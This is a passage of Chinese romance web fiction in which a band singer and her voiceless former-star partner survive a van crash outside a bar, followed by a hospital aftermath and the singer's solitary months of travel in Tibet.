许风扰皱着眉头:“我记得你那两前任都不是这个类型吧,都挺成熟的” 只有楚澄一个人兴致勃勃,低声就道:“可爱吧可爱吧,我第一次看见她,就觉得她像个糯米团子似的。” 她又补充:“蹦蹦跳跳的糯米团子,跳起来都摸不到我的头” 许风扰三人:…… 臺上那人确实可爱,甚至可以说是过于可爱,大抵一米六左右,丸子头圆杏眼,脸上还带着未褪去的婴儿肥,穿着衬衫和白色毛衣马甲,格子短裙随着走动而微微扬起,与混乱的酒吧格格不入,更像是教师裏的好学生。 许风扰眉头更紧,吶吶开口:“这是那鲨鱼” 说是圆鼓鼓的兰寿还差不多。 一直不出声的柳听颂同样诧异,扭头看向人高马大的楚澄,再看着臺上的女孩,表情很是复杂。 怎么看怎么不对,正如许风扰所说,楚澄之前谈的对象都是气场极强的御姐类型,即便身高稍差一些,站在她身旁也毫不弱势。 可这鼓手…… 不是外形歧视,打鼓就是个体力活,况野看着干瘦,手肘一弯也能鼓出一块肌肉,平常还能把轮胎翻来覆去玩,可这甜妹细胳膊细腿的…… 许风扰不由担忧,眉头更紧。 其他人也明显和她想到一块去,表情同样。 可周围人却露出期待表情,质疑声比许风扰想象中的更少,想来是第一次演出不错,才能出现这样的效果。 应该不是楚澄请来的托,能让那么大堆人演得如此情真意切,应该要花费不少,楚老板再有钱也经不起这样挥霍。 另外,因楚澄的缘故,这家酒吧更偏向于摇滚性质,客人也多为乐队或是乐迷,对表演者就更为挑剔,想获得他们的认可也更难。 许风扰不禁好奇,看着那鼓手落座,视线一刻都不曾挪开。 光落在碧色眼眸,明与暗交织,像是掺了灰调的翡翠,掀起粼粼水波。 她在看臺上,柳听颂在看她。 此刻的秘密无人知晓,他们的注意力都被吸引到别处,这才让连身份都要极力遮掩的年长者,能够正大光明地偏头,只为多看许风扰片刻。 未触碰的手搁在沙发边缘,小指隔着一厘米的距离。 柳听颂悄悄靠近,将距离缩短,指尖相碰,却再也不敢更进一步。 这样的小动作被漆黑遮掩,除了当事人外,不曾有其他人知晓,就这样被吞噬、掩埋。 不知道何时,音乐声已响起。 许风扰全神贯注,看得仔细。 楚澄反倒不得闲,一直在低声嚷嚷:“开始了开始了,你们专心看。” “我就说她们不错吧,你们别只看外表。” “看她,那手稳得很,和小野不相上下。” 无端被提起的况野瞥了她一眼,却没反驳,倒不是给楚澄面子,她性子直,这种事最干不了,是这短短片刻的鼓声确实不错,暂时得到了她的认可,但想要夸奖还得再看看,毕竟只有拖到后面,才能判断一个鼓手真正的能力。 只见臺上,那女孩双手执木棍,敲打间,发丝扬起,比起燃陨的颓丧挣扎,她们更显轻松愉悦。 吉他手、贝斯手配合默契,眼眸对视又落下,中间主唱音线清悦,虽然登臺经验不多,却不见紧张,而键盘手指尖跳跃,甚至有空转了个圈。 许风扰眼中闪过一丝惊喜,之前被楚澄临时喊来的些许不满,彻底消散干净。 其他人也是如此,许是过往经历不易,总是惜才,往日在酒吧演出时,瞧见不错的乐队,还会主动帮忙搭线,给一两个机会。 如今瞧见这样的乐队,也不管楚澄在叨叨什么了,都看得认真。 触碰的指尖不知何时攀往上,要勾住许风扰的小指,可下一秒就被人察觉,那人无意识抬手,再落在温凉手背,习惯性将手牵住。 许风扰随之回头,看向她,用口型表示疑问。 【怎么了?】 柳听颂一怔,下意识就摇头。 许风扰没有多想,将被搁在旁边的牛奶杯抬起,又塞进柳听颂手中,低声说了句:“等会就回去了,无聊的话你玩玩手机。” 她又补充:“多喝点牛奶。” 像是带小孩似的,还怕她找不到手机在那裏,又把自己的手机递给她,让她玩。 许风扰的手机密码一直都是那一个,五年前就坦然告诉过柳听颂,五年后也依旧没改。 就是有些老套。 是她的生日加柳听颂的生日,这人搞音乐,却没有个浪漫脑子,但总能在踏踏实实中,让人尝到一点甜。 柳听颂情绪稍缓,手机打开后却不知做什么,盯着那个相同的夕阳壁纸发呆。 上次时间匆匆,什么都没来得及逛,基本都在床榻间渡过,后面想起就觉得可惜,想着她们应该一起去沙滩走走,于是后面两人还约着年末一起过去过年,可现在也不知道还算不算数。 柳听颂唇角紧抿,患得患失的感受从开始到现在,没有一天消失过。 那人不曾察觉柳听颂的恍惚,短暂分神后,又将注意力移回臺上。 “橙子,等会你就过去喊她们,”她这样开口。 当真是起了惜才的心思,不再是被楚澄拜托后的敷衍。 楚澄挺了挺腰杆,压制的本性开始暴露,也不正面回答许风扰,反而笑眯眯地开始拿乔:“我就说我眼光不错吧,你们一二个还不想来,后悔了吧?” “朋友我是那么容易色令智昏的人吗?人家那是真有本事。” “是是是,确实有两把刷子,”这下连况野都附和起她了。 乐得楚澄咧开嘴笑,还没有将人追上,就先有荣与焉了。 “我眼光差不了。” “知道了知道了,你那尾巴能不能别翘了,”纪鹿南忍不住打趣。 “你就说行不行?”楚澄没上当,逼着众人都承认一遍。 这事自然不会扯到柳听颂这儿,她一直保持沉默,甚至连等下都不会多说什么,以免暴露身份,只需要安安静静坐在许风扰旁边,交迭的手故意收紧,最后十指紧扣。 她就沉浸在这样的短暂接触裏,即便在此之前,她们有过太多亲密时刻,疯狂又偏执,在沙发、车厢内一遍又一遍,像要将对方挤压进骨肉间,彻底无法分离。 可疯狂之后,她仍贪恋于这样,短暂而浅淡的接触裏。 指腹、掌心的薄茧滑过肌理,手部的感官总是过分敏//锐,将每一个细节捕抓,有些痒又不肯阻拦,只能愉悦又煎熬地受着。 如同她们现在的关系。 但柳听颂甘之如饴。 之后的事情,柳听颂没大关注,倒是那乐队的人几次投来好奇视线,毕竟许风扰疑似恋爱失恋又复合的事,在V博上闹得轰轰烈烈,便惹得众人都好奇不已。 柳听颂没有理会,只在对方与许风扰说话时,才掀开眼帘瞧了一会,不多时就低下头。 众人说话声不断,卡座中的气氛热烈,甚至都忘了要去二楼,在这边就聊了许久,最后还都加了联系方式。 不过不知为何,那楚澄喜欢的女孩子总在刻意避开楚澄,让本想暗中撮合的纪鹿南等人无计可施,只能这样掀过去。 夜更深时,酒局终于散去,喝得醉醺醺的人被扶着走出来,送上一辆辆等候已久的车中,驶向远处。 许风扰今儿也多喝了些,脚步略微发虚,只能倚着柳听颂走路。 作为唯二没喝酒的人,楚澄忙着照顾其他人,便只和她们打了招呼就算再见。 柳听颂自然理解,牵着旁边的醉鬼就走。 车被停在道路两旁的车位上。 飘忽的脚步声交替,许风扰勉强睁开眼,醉醺醺地看了眼模糊的前头,本想辨认方向,却被突然刺出的灯光照得眼前发白,失去视觉。 而无意偏过头的楚澄却看得清楚,只见一辆破面包车像失控般,发疯似的朝着她们加速撞来。 ——嘭! 巨大撞击声响起,紧接着是车轮擦过地面的尖锐摩擦声,丢在路旁的电动车发出声声警笛声,又听见“轰”的一声爆炸声,火光都是冲天而起。 “阿风!” “许风扰!” 众人不禁大喊。 第76章 如果不是我…… 医院。 许风扰今年来过很多次医院, 往年刻意避免,只有在祛痣时才匆匆来去的地方,今年却几次踏入, 总要在裏头待很长时间, 长到望不见发白走廊的尽头。 她坐在墙边铁椅上,弯曲的脊背像是要蜷缩成一团, 手抱住低垂的脑袋,外套已被丢弃,长裤也被拉往上, 露出摩擦后的狰狞伤口。 在过白的灯光下, 拖长的影子都变得虚晃, 几乎不可察觉。 远处还在喧闹,这次* 和其他回不一样, 发生在酒吧门外, 有不少人亲眼瞧见那面包车直直朝许风扰撞来, 以至于消息迅速扩散, 短短时间就闹大, 最爱吃人血馒头的家伙纷纷赶来。 许风扰无心理会, 全由纪鹿南她们带人处理。 大脑一片浑噩, 耳畔还有爆炸声后的无尽鸣声。 记忆又回到之前那一幕,反复在眼前播放。 在危险将近前,肾上腺素攀升,将躯体中的酒精驱赶,周围的一切好像都慢下来。 在碧色瞳孔中,径直冲来的面包车在疾速中失控, 坐在驾驶位的两人露出慌张恐惧表情。 来不及反应,许风扰被旁边人一把推开, 而自己却摔向了一边。 在电光火石间,楚澄、纪鹿南等人的大喊声接连响起,而失控的面包车在即将撞来时,却先撞到正直行、来不及剎车的另一轿车。 在剧烈撞击中,面包车骤然爆炸,火光轰然冒起。 摔地的许风扰慌张起身,连忙冲向旁边的柳听颂…… “阿风?!” 担忧的声音打断回应,楚澄拿来不知从哪裏倒来的热水,将纸杯递给她。 “你别太担心,听颂姐没事的,”楚澄宽慰了句,坐到她旁边,又咒骂了句:“也不知道是哪个垃圾丢的酒瓶。” 许风扰捏着纸杯,热水沾过薄唇,又被放下,只迟钝地摇了摇头。 既没被车撞到,情况自然轻松许多。 因被推开、摔落在地的缘故,左边身子与地面摩擦,造成了些皮外伤,都只是破皮,看着血淋淋的,实际没多严重,医生稍做处理就摆手驱赶。 而柳听颂则棘手些,不知是那个醉鬼拿着酒瓶出门,随手丢在路边,以至于让柳听颂跌进一地玻璃碎片中。 想到这儿,许风扰不禁扭头看向旁边诊室,紧闭房门没有传出半点声响,莫名的死寂。 她张了张嘴,只憋出一句:“好几块玻璃插进去了。” “好几块,”她重复,沉且哑的语气显得木木的,像是失去灵魂的木偶人。 “我看见了,”楚澄接话,停顿了下,又道:“没事的,轻焰姐在裏面陪着呢。” 事情发生后,纪鹿南的妻子也匆匆赶来医院,许风扰本想在裏面陪着,可众人见她面色苍白,状态极差,便将她赶出来。 话虽这样说出,可楚澄自个都难以信服,玻璃碎片扎得深,她冲过去的时候,就见许风扰抱着个血淋淋的人,吓得她三魂没了六魄,更何况直面这些的许风扰。 她还是第一次见到这样的许风扰,即便是两人和狗仔飙车的那天,她也镇定得不像话,人连着车都撞进田地,骨裂加脑震荡也装得面不改色,愣是等况野赶来,才稍稍露出一丝虚弱,像是不怕死。 她确实也不怕死。 作为多年好友,许风扰即便没明着说,可朝夕相处下,从词曲、日常处事中,大家也能察觉出许风扰的颓丧,说极端些,许风扰只是没主动寻死,可要说求生欲…… 每次跑山,速度最快的就是她,那油门次次拧到底,拐弯都不见停的,楚澄几人看得胆战心惊,腿都被吓软了,可许风扰还能对着她们比耶。 可在那时,她却见许风扰面色煞白如纸,眼眸满是恐惧,明明失声的是柳听颂,她却也说不出话来,整个人都在抖,本就单薄的身躯颤得厉害,额头全是冷汗,大滴大滴地往下落。 反倒是怀裏的柳听颂在安慰她,伸手抚过许风扰脸颊,发出艰难生疏的声音。 “别……别怕……” 楚澄突然一激灵,脱口就道:“我刚刚、我刚刚好像听到听颂姐说话了!” “她恢复声音了?” 许风扰好像才意识到这个问题,先是点了点头,又摇头。 看得楚澄焦急不已,直接道:“你这是什么意思,我应该没幻听吧?” “我不知道……”终于说出一句话的许风扰,声音极哑,好像吞了一堆沙砾一般。 事实上,在她被柳听颂推开前,就听到柳听颂发出一声阿风,之后也有说过两句话,可一到医院,柳听颂又好像封闭起来,一句话不说。 没想过对方在假装,柳听颂还不至于将许风扰当个傻子耍,那么明显的前后差异,她哪裏敢遮掩。 忍不住想起那天医生说过的话,刺激手段对柳听颂没有用,潜意识在抗拒,哪怕短暂恢复也会复发。 许风扰猛的喝了口水,却冲不淡口中的苦涩,不禁将纸杯捏成一团,声音轻到风一吹就散开:“橙子,你说我是不是做错了?” “你别乱想、你有什么错?” 许风扰完全听不进去,钻进的死胡同裏,根本无法走出,一味责怪自己:“不、是我的问题。” “如果不是我,如果不是我无法忍受没有她,非乱扯什么戒断约定,她早就好了。” “她现在就是怕我离开她,所以才不肯好。” 她想到白日康复室内,那人满头大汗却发不出一丝声音,无助而崩溃的眼眸,很难想到,对方也曾在舞臺上光芒万丈,音符环绕。 如果不是她, 如果没有她。 柳听颂是不是还是那个受尽追捧的天后 而不是在她面前,躲躲藏藏又卑微柔弱的哑巴。 思绪乱飞,无法控制的想法如海水涨潮,掩盖住礁石,只剩下一次次掀起的波涛。 她指尖发冷,处理过的伤口还未结疤,挤出的血水往下滴落,坠在亮得反光的白瓷砖上。 “如果不是我太冲动,非要去追那两个狗仔……” 也不会将人逼到这种地步。 楚澄张了张嘴,憋来憋去,只能说出一句:“这不关你的事,是她们咎由自取。” 面包车本就破烂,早在况野的修车厂中就被判定了报废,只是不知这两人用了什么法子使车重启,竟让不稳定的面包车行驶上路。 但代价也沉重,两车相撞后,轿车情况还好,可面包车却当场爆炸自燃,如今这两人都在抢救,是死是活都难说…… 楚澄想了想,不知道该不该说,好一会才道:“轻焰姐说这两人在前些天老去许南烛公司门口闹,被赶出来好几次。” 话到此处就停下,许风扰面色变化,联想许多后,又咬牙道:“都是我的问题。” “如果不是我、都是我。” 她前言不搭后语,猛的抓住自己脑袋,将头发揉得炸开,曲折的指节发白。 “行了,”楚澄面色一沉,扯住她的手就呵斥。 “你别乱想,这和你没有关系。” 许风扰难以控制自己,陷入自责的漩涡裏:“你不懂,如果不是我,她也不会一次两次的失声。” “如果没有我,她早就恢复了。” “她回国之后,除了那次综艺就没有任何演出。” “她总是在迁就我、包容我,是我没有安全感,没有自信,是我太幼稚,一直困在往事裏……” 她喃喃自语,表情越发痛苦,呼吸急促,地上的影子越发稀薄,若非刻意注意,实在难以瞧见。 一墙之隔的房间终于传出声音,是那个女医生在说话。 “你抱住她,这片玻璃片扎得太深了……” “忍着点,我们还是尽量不要打麻药好吗?” “很疼的话可以咬住这块布。” “千万要忍住,好吗?” “蒙住她眼睛。” 许风扰颤了下,分明已经躲到一墙之外,分明已经看不见,可大脑却在根据声音填补画面,以至于生出同样的疼痛。 她抓住自己的大腿,指尖掐进肉中,片刻就压出月牙形的凹坑,就这样已经很痛,更何况被玻璃片扎入相同地方的柳听颂。 呼吸困难,胸膛不断起伏,许风扰眼眶发红却哭不出来。 裏头冒出压抑的忍痛哼声,不知有多疼,才会让一个失声的人连连发出含糊呜声,明明柳听颂最会忍疼,偶尔被菜刀切到手指,都能若无其事地冲洗、包扎。 指尖越发掐往裏,绷紧的手臂、腿脚愈合困难,血一滴滴往下落,在瓷砖上积出一摊浅浅水洼。 心脏完全被提起,随着裏头人的忍痛声,一下又一下地揪住。 如果不是她,如果不是为了推开她…… 其实情况并不严重,明明已经足够幸运,比起被撞,此刻的情况已算很好,可许风扰还是无法原谅自己,迟迟重新涌上来的酒精,没有再将大脑变得迟钝,反倒将幻想加深,不存在的疼痛加剧。 “按住她、按住她,就差一点了,千万不要动。” 就连楚澄都听得站起,莫名跺了跺脚。 许风扰蒙住眼睛。 裏头的忍痛声不断响起,直到最后一声,一群人发出松了口气的声音,楚澄差点没腿软,而许风扰一下子瘫进铁椅裏。 过道外的声音不知何时消失,紧接着有高跟鞋的踏踏声响起。 许风扰没有理会,手仍然蒙着眼,大弧度起伏的胸膛久久不能停下。 直到一道影子将她盖住。 她睁开眼。 站在面前的许南烛衣着略微凌乱,气息稍急,想来是收到消息后就匆匆赶来,低声道:“我们谈谈?” 许风扰眼眸泛寒,冷冷瞧着她。 第77章 她跪在她面前,像一只露出柔软肚皮的大狗 “……不管你信不信, 这件事和我没有关系,他们这段时间都在公司楼下闹,我没有理会他们。” “我让人查了, 他们之前被柳听颂逼离S市后回到老家, 找工作接连受挫,一个都没能长期做下去, 存款也被花光,山穷水尽下又回到S市。” 站在窗边的许南烛停顿了下,捏着细烟的手一弹, 将烟灰丢进纸盒中。 她继续道:“可能是彻底走投无路了, 在极端情绪操纵下, 两个人想到了报复你。” “幸好你没事。” 对面的人站在阴影中,只能瞧见一道凌厉的轮廓, 还有同样夹在指间的烟, 火星随着吹入的风, 忽明忽暗。 许南烛深吸了一口烟, 又道:“外面那些事情我会帮你处理好。” “你外公他挺担心你的……刚刚给我打了电话, 李家那小孩也是, 要是你有时间、给他们报个平安, ”她这话说得断断续续,好一会才彻底说完。 许风扰没有回应,从开始到现在就一直沉默着。 直到手中的烟燃到半截,她才慢吞吞开口:“你当时怀我的时候在想什么?” 莫名其妙的突兀提问,让许南烛明显愣住,迟钝地吸了口烟, 说:“有点奇怪吧。” 许风扰抬眼看她,隐藏在漆黑中的面容望不清情绪, 只能感觉到她一直在看着许南烛。 “真的挺奇怪的,哪怕是协商之后、思前想后做出的决定。” “医院、手术甚至另一个人的基因都是我自己挑选的,但是当你出现在我肚子裏时,我还是感觉到很奇怪,”许南烛扯了扯嘴角。 “你喜欢绿色的眼睛?”许风扰看似思维跳跃,实际却早就想好问题。 幼时的孩童在渴望母爱时,就会将这些东西翻来覆去地想,琢磨出一点点自己被母亲喜爱的痕迹。 许南烛点了点头,而后又补充道:“对方的相貌与学历都很优秀,是我如果选择结婚,必然会选择的那一种类型。” 话到此处,她露出无奈表情,嘆气道:“我那时候就有私心,专门选了个商学院的学生,明明和音乐没有半点关系,他唱歌好像还走调……” 许风扰勾了勾唇角,却问:“你有没有唱过歌?” “大学的时候,我也曾上臺演出过,”许南烛笑了下。 这是许风扰不曾知晓的,她怔愣了下,忽而摇了摇头。 自己都不知道自己在做什么,也说不上是临近死亡后的豁达与释怀,完全凭本能问出,只是在得到答案后,心裏突然松了下,冒出酸酸麻麻的感受。 “谢谢你愿意过来帮忙,”她这样说。 正如自己所说,许风扰确实是个心很软又缺爱的小孩,对方做错了很多,可只要一两次示弱,她就缓了态度。 许南烛沉默了下,偏头看向窗外,语气很是复杂:“没事,是我应该做的。” “根本原因还是在我,”她心裏很清楚。 许风扰指间的烟已到尽头,她这段时间抽烟很凶,像是对尼古丁成了瘾,可在此刻,她点燃之后就没有吸过一口,完全将烟当成摆设。 她同许南烛一般看向窗外,花园萧瑟,只剩下秋后的枯枝败叶,难猜明年光景。 她缓缓开口:“但是我还是没办法原谅你。” 许南烛默了下,露出意料之内的表情。 溃烂的伤口依旧在,它不会随着某个人的转变而一下子痊愈,更别说遗忘。 “以后要是有什么事,可以来找我。” “谢谢。” 交谈到此为止,这对血脉相连、理应拥有世界上最亲密关系的母女,终于在许风扰出生二十多年后,有过一次还算平淡的正常对话,但不知还有没有下次,一切都很难说,时间虽然能改变许多东西,却也无法将一些事情撼动。 而一直等在不远处的楚澄,见许南烛离开后就急忙上前,扯着许风扰就开口道:“怎么了,她说什么了” 许风扰摇了摇头,没有多说,只道:“橙子,我想拜托你一件事……” 楚澄先是懵了下,而后随着许风扰的话语落下,表情从不解到无奈,最后露出些许明了的悲伤,她拍了拍许风扰的肩膀,语气沉沉道:“行,我答应你。” “但是你要记得回来。” “我们、我们一直都在这裏。” 许风扰笑了下,声音诚恳地说了今天晚上的第二个:“谢谢。” ——— 晚来风急,夜色更浓。 有了许南烛与楚轻焰的帮忙,那些狗仔记者都被驱赶,楚澄等人还帮她在V博报了个平安,于是闹了一晚上的车祸热度,终于掉了下来些。 不过还是有人在乱发一下似是而非的内容,甚至不知从什么渠道,得知许风扰今年夏天住院的事,模糊时间后发了出去,又惹出一堆讨论。 为了避免麻烦,众人便打算等到凌晨,就叫人将热搜撤了。 迟来的脚步声从门外传来,沉重停留在门外,那人站在原地,不知想了些什么,好一会才将门推开。 下一秒就诧异道:“你还没睡” 坐在床边的人摇了摇头,朝她招手。 因医生建议留院观察一晚的缘故,柳听颂今夜得住在病房裏。 之前的破烂衣服已被换下,宽大的蓝白病房松松垮垮搭在身上,抬起的手还包着白布,衣袖拉扯间,露出纤细手腕,薄弱得不堪一折。 许风扰拖着脚步走过去,语气低沉道:“你需要早点休息。” “刚刚许南烛来了,我和她说了几句话。” “今晚我在这边陪你。” 情绪作祟,她说话有点颠三倒四,不等柳听颂回答就哔哩啪啦往外蹦。 幸好另一人能够听懂,眼眸中写满担忧,像在问她,许南烛有没有为难你。 许风扰站到她面前,还是那一身破衣服,袖子裤子都被折起,狰狞伤口已经结疤,白发凌乱,让人想起总在外头威风的小狗,这次一不小心跌了个大跟头,焉头耸脑地跑到主人面前,委屈得不行。 柳听颂忍不住伸手,牵住她的爪子,轻轻摇晃。 许风扰抿了抿唇,声音更哑:“她没有为难我,还帮忙赶人了。” 明明是宽慰的话,却像是恹恹告状一样。 可能是怕护士唠叨,病房裏只开着盏微弱的臺灯,以至于光线模糊,地上的影子在这个时候耀武扬威起来,拖长的黑影交迭在一块,变作更浓重的黑。 “你早点要休息,伤才会好,”许风扰再一次重复,像个没有灵魂、只会一味重复的木头人。 柳听颂仰起头看她,垂落的发丝露出白皙耳垂,上头还有一点不知何时沾染的血迹,或是灯光问题,总感觉她又纤瘦不少,脸颊苍白而消瘦,风一吹就能倒下。 这让许风扰没办法甩开她的手,任由对方牵着,用冰凉而细削的手指勾着她指节。 “我没事,没有你严重,都是皮外伤,”许风扰看出她想问什么,又一次回答。 柳听颂只是看着她,如水眼眸倒映着她的身影,温温柔柔地漾开。 许风扰深吸了一口气,想要说什么,却什么都说不出来了,那些强撑着面具都崩塌,她膝盖一弯,长腿曲折跪下,小心靠向柳听颂未受伤的一侧腿边。 像只大狗在主人面前,露出柔软脆弱的肚皮。 而柳听颂伸手抱住她,将她脑袋往自己腰腹中按。 “柳听颂,我有点怕,”强忍的声音发颤。 “我真的有点害怕。” 她抬手拽住柳听颂的衣角,将布料揉得缭乱,恨不得将病号服揪出一个洞来。 “我差点就要失去了你,”她一字一句地说,语气中的恐惧不加掩饰,满是后怕,之前的一幕还在不断在眼前闪现,无法压下。 柳听颂一直抱着她,还缠着白布的手一下又一下地抚过她后脑,灰白的发丝从指间穿梭。 膝盖无意识往前挪,将两人间的距离越缩越短,结疤伤口在拉扯中破开,接连冒出血珠。 “你为什么要推开我?”哭腔伴随着声音响起。 “你能不能不要每次都这样?有什么事就要推开我,把我当成一个无能为力、需要你保护的小孩,”她开始控诉。 “我已经成年了。” “柳听颂我已经成年了,”她口不择言地强调。 “你总是想保护我、保护我,结果却变成现在这个样子,你怎么还是不明白?!”她又气又急。 柳听颂不曾生气,依旧温柔注视着她。 许风扰鼻尖一酸,磕绊道:“如果、如果你……” 剩下的话,她不敢说。 她只能接着问:“三斤怎么办?” 下一句稍停顿,才如洩气般继续:“我怎么办?” 眼泪沾染布料,腰腹感受到湿热,弯曲的脊背瘦得厉害,明显能瞧见布料下的节节骨头。 柳听颂捏了捏她的耳垂,又双手捧脸,将她的脑袋温柔抬起。 【不哭】 她用口型说着无声的安慰,指腹擦过许风扰眼尾,那绯色如胭脂,一擦就散开,连耳垂都红透。 【没事的】 【我在】 碧色的眼眸盛满水雾,豆大的泪珠不断往下落。 她问:“柳听颂你刚刚疼不疼” 【不疼】 柳听颂摇了摇头,扯出一丝虚弱苍白的笑。 “你骗我,”她一点也不信。 【不骗你】 抵在地上的膝盖发红,不知何时,许风扰又被抱进怀中,那些含糊的话音被堵住,收紧的双臂用力,要将对方揉入骨血般用力。 在那天晚上,柳听颂以为她们终于要和好,可待到第二天早上,她睁开眼时,身侧的床铺却早已凉透。 这一次,不告而别、悄声离开的人换成许风扰。 她在一个凄冷的秋日早晨离开S市,没有告诉任何人,也留下片语只言,消失得决然。 第78章 进山当野人 “阿佳。” “阿佳你的头发怎么那么奇怪啊?一半黑一半黄色的。” 稚嫩好奇的孩子声打断思绪, 坐着臺阶上、向远处雪山瞭望的人回过神,偏头看向小孩。 夕阳光下,她看起来黑了不少, 肤色被晒成小麦色, 脸颊泛起高原红,有些粗粝, 却比之前健康了不少,没有了咄咄逼人的锐利,像是被风霜打磨过的钝石, 寂然且坚定。 至于小孩提起的头发, 几个月没有漂染过的头发, 早就不复之前模样,变成旁人口中最难看的布丁头, 发尾甚至都到肩胛骨下, 风一吹就蓬起, 十分狂野。 “阿佳?”小孩子最没有耐心, 等不到回答就一直重复。 惹得许风扰笑起, 故意逗弄道:“因为我是从山裏出来的野人。” “野人?”四五岁的藏区小孩可比现在的城市小孩好骗多了, 圆溜溜的眼睛睁大, 居然没有一点质疑。 “是啊,我是野人,刚刚你没看见我们从山裏出来吗?”许风扰理直气壮,没有半点欺负小孩的罪恶感。 但小孩也没有那么笨,一下子就抓到漏洞,大声道:“就你是这样的头发, 她们都不是!” 可恶大人哪裏会轻易放弃,眨了眨眼, 当即就道:“只有我是野人啊,她们是把我抓出来的人。” 那小孩果然懵住,吶吶道:“她们、她们抓你?” “是啊是啊,我本来在雪山裏住的好好的,但是她们非把我抓出来,说建国之后不许有野人,要把我送去读书,完成义务教育。” 许风扰越编越离谱,特别入戏,再加之她不同的碧色眼眸,十分蛊人。 吓得那小孩张大了嘴,满是恐惧道:“一定要读书吗?野人也要读书吗” 许风扰连连点头,忙道:“对啊对啊,小孩子都要读书的,哪怕躲到山裏,也会被抓出来读书的。” “我……我不想读书,我想骑马。” 小孩差点哭出来,明明还没有到读书的年纪,就先被许风扰吓到,觉得连山裏野人都要被抓出来完成的东西,肯定是个特别恐怖的东西。 乐得许风扰大笑,直到同行的伙伴跑来,开口就道:“阿风你笑啥呢,走了走了,再迟一点就太晚了。” 许风扰这才站起来,揉了揉小孩脑袋,又蹦出一句:“以后要好好读书哦。” 拖长的语调带着戏谑。 那小孩的嘴顿时更瘪了。 同伴看着要被欺负哭的小孩,不明白这四个字到底有什么威力,怎么一下子就成了这样。 可时间紧迫,她只能掏出糖往小孩怀裏一塞,也跟着说了句:“好好读书。” 她这样做,反倒证实许风扰的话,那小孩不仅没被哄好,反倒哇一下子就哭出来。 这可把许风扰吓到,两人愣是手忙脚乱哄了半天,这才重新回到越野车中。 刚一上车,驾驶位的同伴就笑:“叫你两没事去逗小孩。” 许风扰尴尬挠头。 另一人同伴苦着脸,口袋裏就剩下那么点糖,全给那小孩了。 “对了,你手机刚响了,谁给你打了两个电话,我那会在和老板绑铁链,没仔细看。” 许风扰“哦”了声,却没拿丢在副驾驶的手机,反倒先拿起丢在另一边的单反。 亮起的屏幕,映出无尽冰川,放眼望去都是纯粹的蔚蓝。 即便已亲眼看过,但许风扰还是掉入了蔚蓝裏,将照片一张张仔细扫过。 这已是她离开S市的第四个月。 离开的决定做得突然,人到机场后只管买时间最近的票,浑浑噩噩就到了藏区。 许风扰不知自己是否被洗涤了灵魂,反正缺氧挺让人脑袋空白,什么都想不起来,昏昏沉沉睡了好几天。 好转一些后就开始四处瞎转,不管什么寺什么庙,都去凑了个热闹,跪一跪放一块钱,甚至有一天还买了木板子,学起一步一跪的朝圣的人,跪了三小时就开始腿抖,第二天差点没能爬起床。 要是被楚澄几人知晓,不知会怎么笑她。 可大抵是因为发疯,所以大家都无法联想到这蓬头垢面的家伙,会是最热门乐队的主唱,许风扰就可以想一出是一出,可以发疯可以闹,直到遇到现在这伙人,又莫名其妙地踏上了寻找冰川的冒险之旅。 眼下,他们刚从冰川下来,本想着这段时间的气温有所上升,便没有带防滑链,结果刚下山就遇到绵绵细雪,怕路面结冰打滑,只能找到最近商户,花了大大价钱买了一堆。 许风扰逗小孩的那会,他们就在给轮胎安装防滑链。 许风扰搭不上手,便到另一边坐着了,反正出发前就说好,她们出力带队寻冰川,而许风扰负责资金问题就好,偷懒偷得理所当然。 她将挑好几张照片传到手机裏,而后才放下单反。 因下雪的缘故,越野车行驶得缓慢,不一会就熬到天黑,车厢中更暗,就显得手机光亮格外刺眼。 许风扰眯着眼将屏幕调暗,才能瞧见消息。 果真又是燃陨那个群,不知又说了什么,@了许风扰好几次。 她顺便翻了翻,感觉都是些杂乱废话就没理,随手就将照片发了出去。 下一秒就惹得几人哇哇大叫。 楚澄:【啊啊啊啊你小汁终于出现了,我还以为你被野人抓走了】 【怎么又是冰川,这个也好好看,感觉比上一个还好看】 纪鹿南:【这又是个没被开放的冰川】 【哇,这个蓝冰洞绝了】 【完了,昭昭看见了,闹着要去看】 况野就显得朴实,把每一张都引用,每一张都标注了个好看。 许风扰笑了下,和她们打趣一会,才又转向私聊。 楚澄连发了几十条消息,愣是将自己挤到置顶下面。 许风扰抬眼看了眼置顶,除了燃陨群外,就只剩下那个用“。”作为备注的女人。 她犹豫了下才点开,比起楚澄,她的消息并不多,也不知道是忙,还是怕打扰到许风扰,每天只发一两个消息,多数都是三斤的照片和视频。 手比脑子更快,手机传出逗猫棒的声音,还是在许风扰熟悉的客厅,银白蓬松毛发的肥猫被逗得喵喵叫,跟着彩色羽毛到处跑,还没有片刻就要躺下,又被人用零食诱引,忍不住爬起来,噔噔噔地跟着跑。 光映在旁边玻璃窗,隐隐可见许风扰柔和下去的眉眼,带着浅淡笑意。 旁边的同伴瞥见,又克制地低下头。 出发前就约定好,她们不仅要帮许风扰遮掩身份,也不能将许风扰的消息透露出去。 众人都是极有边界感的成年人,哪怕是许风扰没提起的东西,她们也都默契避让,这也是许风扰一直留在队伍裏的原因之一。 但克制归克制,不瞎打听,不代表没有好奇心。 回忆起许风扰刚入队伍时的颓丧,又想到在V博闹得风风火火的绯闻女友,再看,此刻专注看消息的许风扰,不免让人生出联想。 这是复合了还是…… 这都分分合合几次了,难不成许风扰在给别人当狗玩 但也不对啊,要是别人玩许风扰,把她甩了后,干嘛又要天天坚持不懈给她发信息 而且许风扰的态度也奇怪。 之前条件困难,没办法安排单人房间时,甚至得两三个人挤一张床上时,她刚好睡到许风扰身边。 大半夜惊醒时,她还见许风扰看着手机,将与对方的聊天记录拉到最上面,从上往下看了一遍又一遍。 这到底是…… 她甚至有点后悔,想着旁边人不是个明星,只是个普通队友就好了,她一定要狠狠八卦一翻。 上一个视频已经停下,另一个视频又点开,零帧起手,肥嘟嘟的缅因对着猛的一后空翻。 将许风扰看得一愣,没想到柳听颂真能训出来,而且还是那么大个体格的猫。 不过那个视频很短,短短三秒就结束。 可许风扰却重复了一遍又一遍,直到最后戴上蓝牙耳机,将声音放到最大后,才听到一声讶异而惊喜的女声。 许风扰深吸了口气,又重重吐出,下意识摸向裤兜,却没有熟悉的烟盒,这才想起来,她已经戒了很久了。 这一次,选择权在她手中,不再因为任何人而发生改变,是她自己停下,在一个繁星点缀的夜晚,将还剩下一半的烟盒和打火机丢进垃圾桶。 许风扰又吐了口气,冒出一堆白雾,朦胧了旁边的车窗,将倒影彻底盖住。 视频被保存,界面又切换。 楚澄也发来好些消息,抱怨许风扰怎么不回她消息,突然又消失。 许风扰没太多解释,只说:【有事】 继而又将消息拉往上,继而就被满屏的夸张话语淹没。 